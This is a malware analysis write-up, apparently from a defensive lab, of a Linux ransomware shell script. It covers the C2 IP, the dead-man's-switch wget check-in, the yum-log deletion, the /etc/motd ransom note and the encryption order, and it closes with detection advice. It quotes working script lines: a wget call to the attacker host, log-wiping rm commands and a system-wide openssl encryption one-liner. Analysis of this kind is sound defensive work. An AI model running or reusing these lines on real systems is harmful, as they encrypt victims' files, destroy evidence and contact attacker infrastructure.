Malware Analysis Ransomware Script

Scenario

Analyse a malicious Linux shell script recovered from a compromised system. The script is a ransomware dropper that downloads tools, encrypts files across the system, and leaves a ransom note. Identify the C2 infrastructure, encryption method, anti-forensics techniques, and execution order of the ransomware functions.

Methodology

Initial Triage — Script Overview

The artefact is a Linux bash script. Static analysis is the primary technique here — reading the script line by line to understand its functionality without executing it. The script is structured into discrete functions covering dependency installation, file encryption, anti-forensics, and C2 check-in.

Dependency Installation — Tool Check Functions

The script begins with two dependency check functions that ensure the required tools are present before encryption begins:

check_openssl() {
    apt-get install openssl --yes
    yum install openssl -y
    rm -rf /var/log/yum*
}

check_curl() {
    apt-get install curl --yes
    apt-get install wget --yes
    yum install curl -y
    yum install wget -y
    rm -rf /var/log/yum*
}

Both functions attempt installation via apt-get (Debian/Ubuntu) and yum (RHEL/CentOS) — making the script distribution-agnostic and capable of running on a wide range of Linux systems.

Anti-forensics: After each yum installation, the script deletes yum logs:

rm -rf /var/log/yum*

This removes evidence of the package installations from the system logs, hindering post-incident investigation.

C2 Communication — Dead Man’s Switch

Before executing any encryption, the script performs a C2 check-in using wget in spider mode (no file download, just an HTTP HEAD request):

wget http://185.141.25.168/check_attack/0.txt -P /tmp --spider --quiet --timeout=5

This acts as a dead man’s switch — if the C2 server is unreachable (taken down by defenders or law enforcement), the ransomware will not execute. This is a common operational security measure used by ransomware operators to:

• Maintain control over which victims get encrypted
• Abort attacks remotely if the campaign is discovered
• Verify the target is online before committing

C2 IP: 185.141.25.168 Check URL: hxxp[://]185[.]141[.]25[.]168/check_attack/0.txt

The initial dropper is also downloaded from the same C2:

hxxp[://]185[.]141[.]25[.]168/bash.sh

saved to /tmp.

Ransom Note — /etc/motd

The script overwrites /etc/motd (Message of the Day — displayed to users on login) with a ransom message:

you were hacked

The message includes a contact email address for the attacker: nationalsiense@protonmail.com

Using /etc/motd is deliberate — it ensures every user who logs into the system sees the ransom demand immediately, maximising pressure on the victim organisation.

Encryption Functions

The script contains 5 encryption functions, each targeting a different area of the filesystem:

Execution order (as called in the script): encrypt_ssh → encrypt_grep_files → encrypt_home → encrypt_root → encrypt_db

The ordering is deliberate — SSH keys are encrypted first to cut off remote access and prevent administrators from logging back in. Password-containing files are targeted next to prevent credential recovery.

Encryption Method

The encrypt_grep_files function reveals the encryption implementation:

grep -r '/' -i -e "pass" --include=\*.{txt,sh,py} -l | tr '\n' '\0' | \
xargs -P 10 -I FILE -0 openssl enc -aes-256-cbc -salt -pass pass:$PASS_DEC \
-in FILE -out FILE.☢

Breaking this down:

• grep -r '/' -i -e "pass" --include=\*.{txt,sh,py} -l — recursively searches for files containing “pass” with .txt, .sh, or .py extensions
• tr '\n' '\0' — converts newlines to null bytes for safe xargs handling
• xargs -P 10 — runs 10 parallel encryption processes for speed
• openssl enc -aes-256-cbc -salt — encrypts using AES-256-CBC with a random salt
• -pass pass:$PASS_DEC — uses a variable-stored passphrase (the decryption key the attacker holds)
• -out FILE.☢ — appends the radioactive symbol extension to encrypted files

Encrypted file extension: .☢

The use of the radioactive symbol (U+2622) as a file extension is both distinctive and intimidating — a deliberate psychological choice to signal contamination of the victim’s files.

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

The C2 check-in is a detection opportunity — a wget spider request to an external IP before any encryption begins is detectable via network monitoring. Egress filtering and alerting on unexpected outbound connections from servers would catch this before the encryption phase runs.

Yum log deletion is a tell — rm -rf /var/log/yum* immediately after package installation is abnormal behaviour. File integrity monitoring on /var/log/ and auditd rules on rm targeting log directories would surface this.

/etc/motd modification — File integrity monitoring (FIM) on /etc/motd is trivial to implement and would immediately alert on ransomware that uses this defacement technique.

AES-256-CBC with a hardcoded passphrase variable — If the passphrase ($PASS_DEC) can be recovered from memory or the script itself before encryption completes, files may be decryptable without paying the ransom. Memory forensics immediately after detection is worth pursuing.

Parallel encryption (xargs -P 10) — Running 10 concurrent encryption processes will cause a significant spike in CPU usage and disk I/O. Anomaly detection on resource utilisation can provide an early warning even without signature-based detection.